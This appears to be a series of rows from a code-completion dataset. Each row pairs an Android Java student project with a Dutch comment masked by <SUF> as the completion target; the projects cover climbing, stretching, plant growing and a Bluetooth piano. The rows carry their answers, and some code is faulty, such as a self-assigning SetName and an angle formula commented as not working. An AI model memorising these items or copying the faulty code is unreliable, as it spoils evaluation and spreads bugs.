txtStart = (TextView) view.findViewById(R.id.txtStart);
txtReset = (TextView) view.findViewById(R.id.txtReset);
txtPauze = (TextView) view.findViewById(R.id.txtPauze);
txtStop = (TextView) view.findViewById(R.id.txtStop);
txtHeight = (TextView) view.findViewById(R.id.txtHeight);
txtHeight.setText("21m");
//txtSnelheid= (TextView) view.findViewById(R.id.SpeedStop);
SayTime = new TextToSpeech(getActivity().getApplicationContext(),
new TextToSpeech.OnInitListener() {
@Override
public void onInit(int status) {
if (status != TextToSpeech.ERROR) {
SayTime.setLanguage(Locale.US);
}
}
});
//Set start text to agreed notation
chrono.setText("00:00:00");
chrono.setOnChronometerTickListener(new Chronometer.OnChronometerTickListener() {
@Override
public void onChronometerTick(Chronometer c) {
elapsedMillis = SystemClock.elapsedRealtime() - c.getBase();
if (elapsedMillis > 3600000L) {
c.setFormat("0%s");
} else {
c.setFormat("00:%s");
}
secs = ((int) (elapsedMillis)) / 1000;
currentmin = secs / 60;
//Check if we need to speak the minutes
//@ the moment it's every minute
String alertTime = ((SessionActivity) getActivity()).AlertTime;
if (alertTime.equals("30s")) {
if (secs % 30 == 0) {
speakText();
}
} else if (alertTime.equals("1m")) {
if (lastmin != currentmin || (currentmin==0 && secs==0)) {
speakText();
}
lastmin = currentmin;
} else if (alertTime.equals("5m")) {
if ((lastmin != currentmin && (currentmin % 5) == 0) || (currentmin==0 && secs==0)) {
speakText();
}
lastmin = currentmin;
} else if (alertTime.equals("10m")) {
if ((lastmin != currentmin && (currentmin % 10) == 0) || (currentmin==0 && secs==0)) {
speakText();
}
lastmin = currentmin;
}
}
});
return view;
}
@Override
public void onClick(View v) {
switch (v.getId()) {
case R.id.btnStart:
chrono.setBase(SystemClock.elapsedRealtime() + timeWhenStopped);
chrono.start();
showStopButton();
break;
case R.id.btnPauze:
timeWhenStopped = chrono.getBase() - SystemClock.elapsedRealtime();
chrono.stop();
hideStopButton();
break;
case R.id.btnStop:
QustomDialogBuilder stopAlert = new QustomDialogBuilder(v.getContext(), AlertDialog.THEME_HOLO_DARK);
stopAlert.setMessage(Html.fromHtml("<font color=#" + Integer.toHexString(getActivity().getResources().getColor(R.color.white) & 0x00ffffff) + ">Do you want to quit your session?"));
stopAlert.setTitle("ClimbUP");
stopAlert.setTitleColor("#" + Integer.toHexString(getResources().getColor(R.color.Orange) & 0x00ffffff));
stopAlert.setDividerColor("#" + Integer.toHexString(getResources().getColor(R.color.Orange) & 0x00ffffff));
stopAlert.setNegativeButton("CANCEL", new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialog, int which) {
dialog.dismiss();
}
});
stopAlert.setPositiveButton("YES", new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialog, int which) {
chrono.stop();
if (mSensorManager != null) {
mSensorManager.unregisterListener(StopwatchFragment.this, mSensorManager.getDefaultSensor(Sensor.TYPE_LINEAR_ACCELERATION));
mSensorManager.unregisterListener(StopwatchFragment.this, mSensorManager.getDefaultSensor(Sensor.TYPE_ROTATION_VECTOR));
}
savePicture();
new MyAsyncTask().execute();
}
});
stopAlert.create().show();
break;
case R.id.btnReset:
chrono.setBase(SystemClock.elapsedRealtime());
timeWhenStopped = 0;
chrono.stop();
break;
}
}
private void showStopButton() {
StartSensor();
startButton.setVisibility(View.GONE);
txtStart.setVisibility(View.GONE);
resetButton.setVisibility(View.GONE);
txtReset.setVisibility(View.GONE);
pauzeButton.setVisibility(View.VISIBLE);
txtPauze.setVisibility(View.VISIBLE);
stopButton.setVisibility(View.VISIBLE);
txtStop.setVisibility(View.VISIBLE);
}
private void hideStopButton() {
startButton.setVisibility(View.VISIBLE);
txtStart.setVisibility(View.VISIBLE);
resetButton.setVisibility(View.VISIBLE);
txtReset.setVisibility(View.VISIBLE);
pauzeButton.setVisibility(View.GONE);
txtPauze.setVisibility(View.GONE);
stopButton.setVisibility(View.GONE);
txtStop.setVisibility(View.GONE);
}
private void StartSensor()
{
mSensorManager = (SensorManager) getActivity().getSystemService(Context.SENSOR_SERVICE);
if (mSensorManager.getDefaultSensor(Sensor.TYPE_ROTATION_VECTOR) != null){
mSensorManager.registerListener(this, mSensorManager.getDefaultSensor(Sensor.TYPE_LINEAR_ACCELERATION), SensorManager.SENSOR_DELAY_GAME);
mSensorManager.registerListener(this, mSensorManager.getDefaultSensor(Sensor.TYPE_ROTATION_VECTOR), SensorManager.SENSOR_DELAY_GAME);
}
else {
//DO SHIT
}
startTime = System.currentTimeMillis() / 1000;
}
@Override
public final void onAccuracyChanged(Sensor sensor, int accuracy) {
// Do something here if sensor accuracy changes.
}
public void onSensorChanged(SensorEvent event)
{
mSensor = event.sensor;
if (mSensor.getType() == Sensor.TYPE_LINEAR_ACCELERATION) {
xFiltered = xFilter.Filter(event.values[0]);
yFiltered = yFilter.Filter(event.values[1]);
zFiltered = zFilter.Filter(event.values[2]);
}
else if(mSensor.getType() == Sensor.TYPE_ROTATION_VECTOR)
{
SensorManager.getRotationMatrixFromVector(rotation, event.values);
SensorManager.getOrientation(rotation, orientationValues);
double azimuth = Math.toDegrees(orientationValues[0]);
double pitch = Math.toDegrees(orientationValues[1]);
double roll = Math.toDegrees(orientationValues[2]);
double ax = xFiltered * Math.cos(Math.toRadians(roll)) + yFiltered * Math.cos(Math.toRadians(90) - Math.toRadians(roll));
double ay = yFiltered * Math.cos(Math.toRadians(90) + Math.toRadians(pitch)) + xFiltered * Math.cos(Math.toRadians(90) + Math.toRadians(roll)) + zFiltered * Math.cos(Math.toRadians(pitch)) * Math.cos(Math.toRadians(roll));
elapsedTime = (System.currentTimeMillis() / 1000.0) - startTime;
velocity = oldVelocity + (ay * (elapsedTime - oldElapsedTime));
if(ay < 0.6 && ay > -0.6 && velocity != 0)
noVelocityCounter++;
else
noVelocityCounter = 0;
if((noVelocityCounter > 2 && oldOldCorrectedVelocity < 0.5 && oldOldCorrectedVelocity > -0.5) || Math.abs(oldOldCorrectedVelocity) > 2 || Double.isNaN(oldOldCorrectedVelocity))
correctedVelocity = 0;
else
correctedVelocity = oldCorrectedVelocity + (ay * (elapsedTime - oldElapsedTime)) * 1.2;
if (correctedVelocity > 2 || correctedVelocity < - 2)
correctedVelocity = 0;
height = oldHeight + (correctedVelocity * (elapsedTime - oldElapsedTime));
oldElapsedTime = elapsedTime;
oldVelocity = velocity;
oldOldCorrectedVelocity = oldCorrectedVelocity;
oldCorrectedVelocity = correctedVelocity;
oldHeight= height;
//tvVelocity.setText(String.valueOf(velocity));
txtHeight.setText(String.format("%.2f", height) + "m");
}
}
private void speakText() {
String toSpeak = "";
if (secs == 0 && currentmin == 0) {
Random r = new Random();
int fun = r.nextInt(7);//random number from 0-6
switch (fun) {
case 0:
toSpeak = "Happy Climbing";
break;
case 1:
toSpeak = "Have fun climbing";
break;
case 2:
toSpeak = "Let's climb";
break;
case 3:
toSpeak = "Enjoy your climb";
break;
case 4:
toSpeak = "You will climb and I will follow";
break;
case 5:
toSpeak = "Let's go";
break;
case 6:
toSpeak = "Go hard, or go home";
default:
break;
}
} else if (secs % 30 == 0 && secs % 60 != 0) {
if (currentmin == 0) {
toSpeak = "You have been climbing for " + "30" + " seconds";
} else if (currentmin == 1) {
toSpeak = "You have been climbing for " + String.valueOf(currentmin) + " minute and " + "30" + " seconds";
} else
toSpeak = "You have been climbing for " + String.valueOf(currentmin) + " minutes and " + "30" + " seconds";
} else if (currentmin == 1) {
toSpeak = "You have been climbing for " + String.valueOf(currentmin) + " minute";
} else {
toSpeak = "You have been climbing for " + String.valueOf(currentmin) + " minutes";
}
SayTime.speak(toSpeak, TextToSpeech.QUEUE_FLUSH, null);
}
private void savePicture() {
locatie = DescriptionFragmentSession.getLocation();
descriptie = DescriptionFragmentSession.getDescription();
try {
if (DatabaseData.PhotoString == null)
return;
ByteArrayOutputStream arrayOutputStream = new ByteArrayOutputStream();
Bitmap bitmap = BitmapFactory.decodeFile(DatabaseData.PhotoString).copy(Bitmap.Config.RGB_565, true);
Typeface tf = Typeface.create("sans-serif-condensed", Typeface.BOLD);
int x = 50;
int y = 75;
int size = 32;
Canvas canvas = new Canvas(bitmap);
Paint paint = new Paint();
paint.setStyle(Paint.Style.FILL);
paint.setColor(Color.WHITE); // Text Color
paint.setTypeface(tf);
paint.setTextSize(convertToPixels(getActivity().getApplicationContext(), size));
String text = locatie;
Rect textRect = new Rect();
paint.getTextBounds(text, 0, text.length(), textRect);
String text2 = descriptie;
Rect textRect2 = new Rect();
paint.getTextBounds(text2, 0, text2.length(), textRect2);
String text3 = String.format("%.2f", height) + "m";
canvas.drawText(text, x, y, paint);
canvas.drawText(text2, x, y + textRect.height(), paint);
canvas.drawText(text3, x, y + textRect.height() + textRect2.height(), paint);
//Add outline to text!
Paint stkPaint = new Paint();
stkPaint.setTypeface(tf);
stkPaint.setStyle(Paint.Style.STROKE);
stkPaint.setStrokeWidth(size / 10);
stkPaint.setColor(Color.BLACK);
stkPaint.setTextSize(convertToPixels(getActivity().getApplicationContext(), size));
canvas.drawText(text, x, y, stkPaint);
canvas.drawText(text2, x, y + textRect.height(), stkPaint);
canvas.drawText(text3, x, y + textRect.height() + textRect2.height(), stkPaint);
bitmap.compress(Bitmap.CompressFormat.JPEG, 100, arrayOutputStream);
byte[] imageArray = arrayOutputStream.toByteArray();
DatabaseData.PhotoString = Base64.encodeToString(imageArray, Base64.DEFAULT);
} catch (Exception e) {
Toast.makeText(getActivity().getApplicationContext(), "Unable to edit picture", Toast.LENGTH_SHORT).show();
}
}
//Method used from someone else!
private int convertToPixels(Context context, int nDP) {
final float conversionScale = context.getResources().getDisplayMetrics().density;
return (int) ((nDP * conversionScale) + 0.5f);
}
class MyAsyncTask extends AsyncTask<Void, Void, Void> {
private ProgressDialog progressDialog = new ProgressDialog(getActivity());
protected void onPreExecute() {
progressDialog.setMessage("Adding to database");
progressDialog.show();
progressDialog.setOnCancelListener(new DialogInterface.OnCancelListener() {
public void onCancel(DialogInterface arg0) {
MyAsyncTask.this.cancel(true);
}
});
//locatie = DescriptionFragmentSession.getLocation();
//descriptie = DescriptionFragmentSession.getDescription();
}
@Override
protected Void doInBackground(Void... params) {
try {
Uid = DatabaseData.userData.getString("uid");
} catch (JSONException e) {
e.printStackTrace();
}
if (WelcomeActivity.Username == null) {
try {
WelcomeActivity.Username = String.valueOf(DatabaseData.userData.getString("name"));
} catch (JSONException e) {
e.printStackTrace();
}
} else {//gewoon zo<SUF>
}
DatabaseComClass.Session(Uid, locatie, descriptie, Math.round(height * 100.0) / 100.0 ,String.valueOf(elapsedMillis), DatabaseData.PhotoString, progressDialog);
return null;
}
protected void onPostExecute(Void v) {
try {
//Close the progressDialog!
this.progressDialog.dismiss();
if (DatabaseData.userData.optString("success").toString().equals("1")) {
super.onPostExecute(v);
Toast.makeText(getActivity(), "Saved data to database", Toast.LENGTH_SHORT).show();
Intent intent = new Intent(getActivity(), WelcomeActivity.class);
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
getActivity().startActivity(intent);
} else if (DatabaseData.userData.optString("error").toString().equals("1")) {
Toast.makeText(getActivity(), jsonResponse.optString("error_msg").toString(), Toast.LENGTH_SHORT).show();
}
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
protected void onCancelled() {
Toast.makeText(getView().getContext(), "Can't login", Toast.LENGTH_SHORT).show();
}
}
}
|
57273_5 | package be.eaict.stretchalyzer2;
import android.content.Context;
import android.content.Intent;
import android.content.pm.ActivityInfo;
import android.graphics.Color;
import android.hardware.Sensor;
import android.hardware.SensorEvent;
import android.hardware.SensorEventListener;
import android.hardware.SensorManager;
import android.os.Bundle;
import android.os.CountDownTimer;
import android.support.annotation.Nullable;
import android.support.v7.app.AppCompatActivity;
import android.util.Log;
import android.view.View;
import android.widget.Button;
import android.widget.ImageView;
import android.widget.TextView;
import com.google.firebase.database.DataSnapshot;
import com.google.firebase.database.DatabaseError;
import com.google.firebase.database.DatabaseReference;
import com.google.firebase.database.FirebaseDatabase;
import com.google.firebase.database.ValueEventListener;
import com.jjoe64.graphview.GraphView;
import com.jjoe64.graphview.GridLabelRenderer;
import com.jjoe64.graphview.series.BarGraphSeries;
import com.jjoe64.graphview.series.DataPoint;
import com.jjoe64.graphview.series.LineGraphSeries;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Calendar;
import java.util.Date;
import java.util.List;
import java.util.Locale;
import be.eaict.stretchalyzer2.DOM.FBRepository;
import be.eaict.stretchalyzer2.DOM.GlobalData;
import be.eaict.stretchalyzer2.DOM.fxDatapoint;
/**
* Created by Cé on 4/11/2018.
*/
public class ExerciseActivity extends AppCompatActivity implements SensorEventListener {
//declaration sensor
Sensor accSensor;
// graph declarations
private LineGraphSeries<DataPoint> series;
private int mSec;
private double angle;
//timer
private TextView countdown;
private CountDownTimer timer;
private long mTimeLeftInMillis = GlobalData.startTime;
//database declarations
DatabaseReference databaseFXDatapoint;
List<Double> angles = new ArrayList<>();
FBRepository fbrepo = new FBRepository();
//oncreate method
@Override
protected void onCreate(@Nullable Bundle savedInstanceState) {
super.onCreate( savedInstanceState );
setContentView( R.layout.activity_exercise );
this.setRequestedOrientation( ActivityInfo.SCREEN_ORIENTATION_PORTRAIT );
createAccelerometer();
createGraphview();
changePics();
counter();
databaseFXDatapoint = fbrepo.instantiate();
}
//timer
public void counter(){
countdown = findViewById(R.id.countdown);
timer = new CountDownTimer(mTimeLeftInMillis,1000) {
@Override
public void onTick(long millisUntilFinished) {
mTimeLeftInMillis= millisUntilFinished;
updateCountDownText();
}
@Override
public void onFinish() {
if(GlobalData.Sensor){
fbrepo.SaveToDatabase( mSec, angles );
}
finish();
}
}.start();
}
//update timer text
public void updateCountDownText(){
int minutes =(int) (mTimeLeftInMillis/1000) /60;
int seconds = (int) (mTimeLeftInMillis/1000) % 60;
String timeLeftFormatted = String.format(Locale.getDefault(),"%02d:%02d",minutes,seconds);
countdown.setText(timeLeftFormatted);
}
//method accelerometer
public void createAccelerometer() {
//permission
SensorManager sensorManager = (SensorManager) getSystemService( Context.SENSOR_SERVICE );
// accelerometer waarde geven
accSensor = sensorManager.getDefaultSensor( Sensor.TYPE_ACCELEROMETER );
// eventlistener
sensorManager.registerListener( ExerciseActivity.this, accSensor, SensorManager.SENSOR_DELAY_NORMAL );
}
//veranderen van kleur aan de hand van settings met globale variable
private void changePics(){
ImageView bol1, bol2;
bol1 = findViewById( R.id.btnbol1 );
bol2 = findViewById( R.id.btnbol2 );
if (GlobalData.Sensor) {
bol1.setImageResource(R.drawable.groen);
bol2.setImageResource(R.drawable.rood);
}else {
bol1.setImageResource(R.drawable.rood);
bol2.setImageResource( R.drawable.groen);}
}
//method graphview
private void createGraphview() {
// graphvieuw aanmaken
GraphView graph = (GraphView) findViewById( R.id.graph2 );
series = new LineGraphSeries<DataPoint>();
graph.addSeries( series );
//vertical axsis title
graph.getGridLabelRenderer().setVerticalAxisTitle( "Angle" );
graph.getGridLabelRenderer().setVerticalAxisTitleColor( Color.BLUE );
graph.getGridLabelRenderer().setVerticalAxisTitleTextSize( 40 );
//layout grafiek
graph.getGridLabelRenderer().setGridColor( Color.BLACK );
graph.getGridLabelRenderer().setHighlightZeroLines( true );
graph.getGridLabelRenderer().setVerticalLabelsColor( Color.BLACK );
graph.getGridLabelRenderer().setGridStyle( GridLabelRenderer.GridStyle.HORIZONTAL );
graph.getViewport().setBackgroundColor( Color.WHITE );
//miliseconds zichtbaar
graph.getGridLabelRenderer().setHorizontalLabelsVisible( true );
// vieuwport waarde instellen
graph.getViewport().setYAxisBoundsManual( true );
graph.getViewport().setMinY(-180);
graph.getViewport().setMaxY(150 );
// vieuwport waarde tussen 0 en maxvalue array (ms) x-as
graph.getViewport().setXAxisBoundsManual( true );
graph.getViewport().setMinX( -2500 );
graph.getViewport().setMaxX( 2500 );
//layout data
series.setTitle( "Stretching" );
series.setColor( Color.RED );
series.setDrawDataPoints( true );
series.setDataPointsRadius( 6 );
series.setThickness( 4 );
}
//onResume nodig voor live data
@Override
protected void onResume() {
super.onResume();
if (GlobalData.Sensor) {
// simulate real time met thread
new Thread( new Runnable() {
@Override
public void run() {
//(12000 komt van 10 minuten * 60 seconden * 20(1 seconde om de 50miliseconden)
for (int i = 0; i < 12000; i++) {
runOnUiThread( new Runnable() {
@Override
public void run() {
addDatapoints();
}
} );
// sleep om de livedata te vertragen tot op ingegeven waarde
try {
Thread.sleep( 50);
} catch (InterruptedException e) {
// errors
}
}
}
} ).start();
}
}
//datapoints toevoegen aan runnable
private void addDatapoints() {
//(12000 komt van 10 minuten * 60 seconden * 20(om de 50 miliseconden)
series.appendData( new DataPoint( mSec += 50, angle ), true, 12000 );
if (Double.isNaN( angle )) {
angle = 0;
}
angles.add( angle );
}
//sensorEventlistener override method
@Override
public void onAccuracyChanged(Sensor sensor, int i) {
}
//sensorEventlistener override method
@Override
public void onSensorChanged(SensorEvent sensorEvent) {
//formule angle acc (werkt niet)
angle = Math.asin( sensorEvent.values[1] / 9.81 ) / Math.PI * 180;
}
@Override
public void onBackPressed() {
}
//terug knop
public void onClickToHome(View view) {
if(GlobalData.Sensor){
fbrepo.SaveToDatabase( mSec, angles );
}
super.onBackPressed();
}
} | AP-IT-GH/IP18-StretchAnalyzer02 | app/src/main/java/be/eaict/stretchalyzer2/ExerciseActivity.java | 2,292 | // vieuwport waarde instellen | line_comment | nl | package be.eaict.stretchalyzer2;
import android.content.Context;
import android.content.Intent;
import android.content.pm.ActivityInfo;
import android.graphics.Color;
import android.hardware.Sensor;
import android.hardware.SensorEvent;
import android.hardware.SensorEventListener;
import android.hardware.SensorManager;
import android.os.Bundle;
import android.os.CountDownTimer;
import android.support.annotation.Nullable;
import android.support.v7.app.AppCompatActivity;
import android.util.Log;
import android.view.View;
import android.widget.Button;
import android.widget.ImageView;
import android.widget.TextView;
import com.google.firebase.database.DataSnapshot;
import com.google.firebase.database.DatabaseError;
import com.google.firebase.database.DatabaseReference;
import com.google.firebase.database.FirebaseDatabase;
import com.google.firebase.database.ValueEventListener;
import com.jjoe64.graphview.GraphView;
import com.jjoe64.graphview.GridLabelRenderer;
import com.jjoe64.graphview.series.BarGraphSeries;
import com.jjoe64.graphview.series.DataPoint;
import com.jjoe64.graphview.series.LineGraphSeries;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Calendar;
import java.util.Date;
import java.util.List;
import java.util.Locale;
import be.eaict.stretchalyzer2.DOM.FBRepository;
import be.eaict.stretchalyzer2.DOM.GlobalData;
import be.eaict.stretchalyzer2.DOM.fxDatapoint;
/**
* Created by Cé on 4/11/2018.
*/
public class ExerciseActivity extends AppCompatActivity implements SensorEventListener {
//declaration sensor
Sensor accSensor;
// graph declarations
private LineGraphSeries<DataPoint> series;
private int mSec;
private double angle;
//timer
private TextView countdown;
private CountDownTimer timer;
private long mTimeLeftInMillis = GlobalData.startTime;
//database declarations
DatabaseReference databaseFXDatapoint;
List<Double> angles = new ArrayList<>();
FBRepository fbrepo = new FBRepository();
//oncreate method
@Override
protected void onCreate(@Nullable Bundle savedInstanceState) {
super.onCreate( savedInstanceState );
setContentView( R.layout.activity_exercise );
this.setRequestedOrientation( ActivityInfo.SCREEN_ORIENTATION_PORTRAIT );
createAccelerometer();
createGraphview();
changePics();
counter();
databaseFXDatapoint = fbrepo.instantiate();
}
//timer
public void counter(){
countdown = findViewById(R.id.countdown);
timer = new CountDownTimer(mTimeLeftInMillis,1000) {
@Override
public void onTick(long millisUntilFinished) {
mTimeLeftInMillis= millisUntilFinished;
updateCountDownText();
}
@Override
public void onFinish() {
if(GlobalData.Sensor){
fbrepo.SaveToDatabase( mSec, angles );
}
finish();
}
}.start();
}
//update timer text
public void updateCountDownText(){
int minutes =(int) (mTimeLeftInMillis/1000) /60;
int seconds = (int) (mTimeLeftInMillis/1000) % 60;
String timeLeftFormatted = String.format(Locale.getDefault(),"%02d:%02d",minutes,seconds);
countdown.setText(timeLeftFormatted);
}
//method accelerometer
public void createAccelerometer() {
//permission
SensorManager sensorManager = (SensorManager) getSystemService( Context.SENSOR_SERVICE );
// accelerometer waarde geven
accSensor = sensorManager.getDefaultSensor( Sensor.TYPE_ACCELEROMETER );
// eventlistener
sensorManager.registerListener( ExerciseActivity.this, accSensor, SensorManager.SENSOR_DELAY_NORMAL );
}
//veranderen van kleur aan de hand van settings met globale variable
private void changePics(){
ImageView bol1, bol2;
bol1 = findViewById( R.id.btnbol1 );
bol2 = findViewById( R.id.btnbol2 );
if (GlobalData.Sensor) {
bol1.setImageResource(R.drawable.groen);
bol2.setImageResource(R.drawable.rood);
}else {
bol1.setImageResource(R.drawable.rood);
bol2.setImageResource( R.drawable.groen);}
}
//method graphview
private void createGraphview() {
// graphvieuw aanmaken
GraphView graph = (GraphView) findViewById( R.id.graph2 );
series = new LineGraphSeries<DataPoint>();
graph.addSeries( series );
//vertical axsis title
graph.getGridLabelRenderer().setVerticalAxisTitle( "Angle" );
graph.getGridLabelRenderer().setVerticalAxisTitleColor( Color.BLUE );
graph.getGridLabelRenderer().setVerticalAxisTitleTextSize( 40 );
//layout grafiek
graph.getGridLabelRenderer().setGridColor( Color.BLACK );
graph.getGridLabelRenderer().setHighlightZeroLines( true );
graph.getGridLabelRenderer().setVerticalLabelsColor( Color.BLACK );
graph.getGridLabelRenderer().setGridStyle( GridLabelRenderer.GridStyle.HORIZONTAL );
graph.getViewport().setBackgroundColor( Color.WHITE );
//miliseconds zichtbaar
graph.getGridLabelRenderer().setHorizontalLabelsVisible( true );
// vieuwport waarde<SUF>
graph.getViewport().setYAxisBoundsManual( true );
graph.getViewport().setMinY(-180);
graph.getViewport().setMaxY(150 );
// vieuwport waarde tussen 0 en maxvalue array (ms) x-as
graph.getViewport().setXAxisBoundsManual( true );
graph.getViewport().setMinX( -2500 );
graph.getViewport().setMaxX( 2500 );
//layout data
series.setTitle( "Stretching" );
series.setColor( Color.RED );
series.setDrawDataPoints( true );
series.setDataPointsRadius( 6 );
series.setThickness( 4 );
}
//onResume nodig voor live data
@Override
protected void onResume() {
super.onResume();
if (GlobalData.Sensor) {
// simulate real time met thread
new Thread( new Runnable() {
@Override
public void run() {
//(12000 komt van 10 minuten * 60 seconden * 20(1 seconde om de 50miliseconden)
for (int i = 0; i < 12000; i++) {
runOnUiThread( new Runnable() {
@Override
public void run() {
addDatapoints();
}
} );
// sleep om de livedata te vertragen tot op ingegeven waarde
try {
Thread.sleep( 50);
} catch (InterruptedException e) {
// errors
}
}
}
} ).start();
}
}
//datapoints toevoegen aan runnable
private void addDatapoints() {
//(12000 komt van 10 minuten * 60 seconden * 20(om de 50 miliseconden)
series.appendData( new DataPoint( mSec += 50, angle ), true, 12000 );
if (Double.isNaN( angle )) {
angle = 0;
}
angles.add( angle );
}
//sensorEventlistener override method
@Override
public void onAccuracyChanged(Sensor sensor, int i) {
}
//sensorEventlistener override method
@Override
public void onSensorChanged(SensorEvent sensorEvent) {
//formule angle acc (werkt niet)
angle = Math.asin( sensorEvent.values[1] / 9.81 ) / Math.PI * 180;
}
@Override
public void onBackPressed() {
}
//terug knop
public void onClickToHome(View view) {
if(GlobalData.Sensor){
fbrepo.SaveToDatabase( mSec, angles );
}
super.onBackPressed();
}
} |
54725_0 | package com.example.loginregister.ui.home;
import androidx.annotation.NonNull;
import androidx.annotation.Nullable;
import java.security.PublicKey;
import java.util.Collection;
import java.util.Iterator;
import java.util.List;
import java.util.ListIterator;
public class Growschedule {
public int [] Time;
public int [] Interval;
public int [] LighTime;
public int [] LightInterval;
private String name;
private int numbWeeks;
public Growschedule(String _name, int[] _time, int[] _interval, int _numbWeeks, int[] _LightTime, int[] _LightInterval){
//aantal weken dat de plant moet groeien
this.numbWeeks = _numbWeeks;
//times array aanmaken en verolgens instellen
Time = new int[_numbWeeks];
this.Time = _time;
//interval array aanmaken en verolgens instellen
Interval = new int[_numbWeeks];
this.Interval = _interval;
//set licht
LighTime = new int[_numbWeeks];
this.LighTime = _LightTime;
LightInterval = new int[numbWeeks];
this.LightInterval = _LightInterval;
//naam van de plant die we gaan groeien
this.name = _name;
}
public String GetName(){
return name;
}
public String SetName(){
return this.name = name;
}
}
| AP-IT-GH/ap-valley-20-21-apv02 | app/src/main/java/com/example/loginregister/ui/home/Growschedule.java | 399 | //aantal weken dat de plant moet groeien | line_comment | nl | package com.example.loginregister.ui.home;
import androidx.annotation.NonNull;
import androidx.annotation.Nullable;
import java.security.PublicKey;
import java.util.Collection;
import java.util.Iterator;
import java.util.List;
import java.util.ListIterator;
public class Growschedule {
public int [] Time;
public int [] Interval;
public int [] LighTime;
public int [] LightInterval;
private String name;
private int numbWeeks;
public Growschedule(String _name, int[] _time, int[] _interval, int _numbWeeks, int[] _LightTime, int[] _LightInterval){
//aantal weken<SUF>
this.numbWeeks = _numbWeeks;
//times array aanmaken en verolgens instellen
Time = new int[_numbWeeks];
this.Time = _time;
//interval array aanmaken en verolgens instellen
Interval = new int[_numbWeeks];
this.Interval = _interval;
//set licht
LighTime = new int[_numbWeeks];
this.LighTime = _LightTime;
LightInterval = new int[numbWeeks];
this.LightInterval = _LightInterval;
//naam van de plant die we gaan groeien
this.name = _name;
}
public String GetName(){
return name;
}
public String SetName(){
return this.name = name;
}
}
|
155819_27 | package com.interproject.piago;
import androidx.appcompat.app.AlertDialog;
import androidx.appcompat.app.AppCompatActivity;
import android.annotation.SuppressLint;
import android.content.DialogInterface;
import android.content.Intent;
import android.bluetooth.BluetoothAdapter;
import android.bluetooth.BluetoothDevice;
import android.bluetooth.BluetoothSocket;
import android.graphics.Color;
import android.graphics.drawable.Drawable;
import android.media.AudioManager;
import android.media.MediaPlayer;
import android.media.ToneGenerator;
import android.os.Bundle;
import android.os.CountDownTimer;
import android.os.Handler;
import android.os.SystemClock;
import android.util.Log;
import android.view.View;
import android.widget.Button;
import android.widget.CompoundButton;
import android.widget.EditText;
import android.widget.Switch;
import android.widget.TextView;
import android.widget.Toast;
import android.widget.ToggleButton;
import com.google.android.gms.common.annotation.KeepForSdkWithFieldsAndMethods;
import org.billthefarmer.mididriver.MidiDriver;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.io.UnsupportedEncodingException;
import java.util.UUID;
public class PlayPiago extends AppCompatActivity {
public String Instrument;
//For playing piano with different instruments in midi-player
private MidiDriver midiDriver;
public PiagoMidiDriver piagoMidiDriver;
private int[] config;
public Button instrumentButton;
//BLUETOOTH STUFF
private Handler mHandler;
private BluetoothSocket mBTSocket = null; // bi-directional client-to-client data path
private ConnectedThread mConnectedThread;
private BluetoothAdapter mBTAdapter;
private Button mButtonAutoCnct;
// #defines for identifying shared types between calling functions
private final static int REQUEST_ENABLE_BT = 1; // used to identify adding bluetooth names
private final static int MESSAGE_READ = 2; // used in bluetooth handler to identify message update
private final static int CONNECTING_STATUS = 3; // used in bluetooth handler to identify message status
private static final UUID BTMODULEUUID = UUID.fromString("00001101-0000-1000-8000-00805F9B34FB"); // "random" unique identifier
public String ReceivedBluetoothSignal;
public String CheckReceived;
public OctaveSelector octaveSelector;
//LearnSongs
public Boolean songStarted = false;
public LearnSongs learn = new LearnSongs();
public Integer noteNumber = 0;
public Button tileToPress;
public Boolean noteIsShown = false;
SignalCheckerThread sChecker;
PreviewSongThread previewSongThread;
public Boolean LearningMode = false;
public Switch learnToggle;
//Buttons
Button previewButton;
Button startButton;
Button octaveHigher;
Button octaveLower;
Button selectSong;
TextView activeSong;
byte[] activeSongByteArray = new byte[]{};
int[] activeSongIntArray = new int[]{};
AlertDialogBuilder alertDialog;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_play_piago);
mButtonAutoCnct = (Button) findViewById(R.id.button_autocnct);
mBTAdapter = BluetoothAdapter.getDefaultAdapter(); // get a handle on the bluetooth radio
mButtonAutoCnct.setBackgroundColor(Color.RED);
mButtonAutoCnct.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
new Thread() {
public void run() {
boolean fail = false;
// Change adress to static MAC adress
// BluetoothDevice device = mBTAdapter.getRemoteDevice(address);
BluetoothDevice device = mBTAdapter.getRemoteDevice("98:D3:31:FD:17:0A");
//DEVICE FINLAND
//BluetoothDevice device = mBTAdapter.getRemoteDevice("B4:E6:2D:DF:4B:83");
try {
mBTSocket = createBluetoothSocket(device);
} catch (IOException e) {
fail = true;
Toast.makeText(getBaseContext(), "Socket creation failed", Toast.LENGTH_SHORT).show();
}
// Establish the Bluetooth socket connection.
try {
mBTSocket.connect();
} catch (IOException e) {
try {
fail = true;
mBTSocket.close();
mHandler.obtainMessage(CONNECTING_STATUS, -1, -1)
.sendToTarget();
} catch (IOException e2) {
//insert code to deal with this
Toast.makeText(getBaseContext(), "Socket creation failed", Toast.LENGTH_SHORT).show();
}
}
if (fail == false) {
mConnectedThread = new ConnectedThread(mBTSocket);
mConnectedThread.start();
mButtonAutoCnct.setBackgroundColor(Color.GREEN);
mHandler.obtainMessage(CONNECTING_STATUS, 1, -1, "Piago Keyboard")
.sendToTarget();
}
}
}.start();
}
});
mHandler = new Handler() {
public void handleMessage(android.os.Message msg) {
if (msg.what == MESSAGE_READ) {
String readMessage = null;
try {
readMessage = new String((byte[]) msg.obj, "UTF-8");
} catch (UnsupportedEncodingException e) {
e.printStackTrace();
}
CheckReceived = "1";
ReceivedBluetoothSignal = (readMessage.substring(0, 5));
Log.d("BTRECEIVED", "handleMessage: receiving msg from arduino" + ReceivedBluetoothSignal);
}
}
};
ReceivedBluetoothSignal = null;
CheckReceived = null;
Instrument = "piano";
//Midi-player
midiDriver = new MidiDriver();
piagoMidiDriver = new PiagoMidiDriver(midiDriver);
instrumentButton = findViewById(R.id.button_change_instrument);
//Lower / Higher notes
